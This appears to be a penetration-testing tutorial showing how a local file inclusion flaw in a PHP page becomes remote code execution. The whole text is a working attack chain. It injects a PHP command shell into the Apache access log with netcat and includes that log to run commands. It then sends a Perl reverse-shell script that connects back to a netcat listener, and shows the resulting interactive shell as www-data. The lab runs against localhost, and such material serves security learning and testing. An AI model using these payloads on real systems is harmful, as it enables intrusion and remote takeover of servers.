LFI to Remote Code Execution
The idea is to inject PHP code in to the access log of the HTTP server, then include the log file via our LFI where the PHP code will be interpreted by the web server. once the PHP code is injected we can issue system command to be ran on the remote web server via our LFI exploit.
Something to take in to account is that the log files have to be readable. If you do not have read access to the file it will not work.
We can use netcat to send the request to the server using the following PHP code '<?php passthru($_GET['cmd']);?>' in a GET request.
root@ubuntu:~# nc localhost 80 GET /<?php passthru($_GET['cmd']);?> HTTP/1.1 HTTP/1.1 400 Bad Request Date: Sun, 18 Aug 2019 01:57:02 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at 127.0.1.1 Port 80</address> </body></html> root@ubuntu:~#
Apache log file entry
127.0.0.1 - - [17/Aug/2019:19:57:02 -0600] "GET /<?php passthru($_GET['cmd']);?> HTTP/1.1\n" 400 0 "-" "-"
The log entry above shows the PHP code we injected. This code will be intrepreted by the webserver as PHP code and executed when viewed.
Running commands
Before we can run commands on the remote machine we need to append our PHP variable contained in the code we injected eariler, in this example it is 'cmd'. We can append our command variable using the '&' symbol.
So our final URL should look something like this:
http://localhost/~sam/fuzz.php?file=../../logs/access.log&cmd=uname -aLinux ubuntu 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Reverse connect shell
We want an interactive shell we can issue commands from and for that we can use a reverse connect shell. What a reverse connect shell does is causes the remote machine to connect back to the attackers computer which is acting as a server listening for connections on a certain port.
#!/usr/bin/env perl use Socket; $i=127.0.0.1; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); if (connect(S,sockaddr_in($p,inet_aton($i)))) { open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); }
In order to get the remote machine to connect back we need to execute the perl script on the server. We append out perl code to our command url and send the request.
First we need to setup the listener. We do so by issuing the following netcat command: nc -nvlp [port].
root@ubuntu:~# nc -nvlp 4444 Listening on [0.0.0.0] (family 0, port 4444)
Once the listener is up and running we can issue the GET request with our PERL code appended to our URL.
localhost/~sam/fuzz.php?file=../../logs/access.log&cmd=[perl code...]If everything goes well you will have a successful connect back which drops to a system prompt where you will be able to issue commands.
root@ubuntu:~# nc -nvlp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 127.0.0.1 47392 received! $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ uname -a Linux ubuntu 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux $ whoami www-data $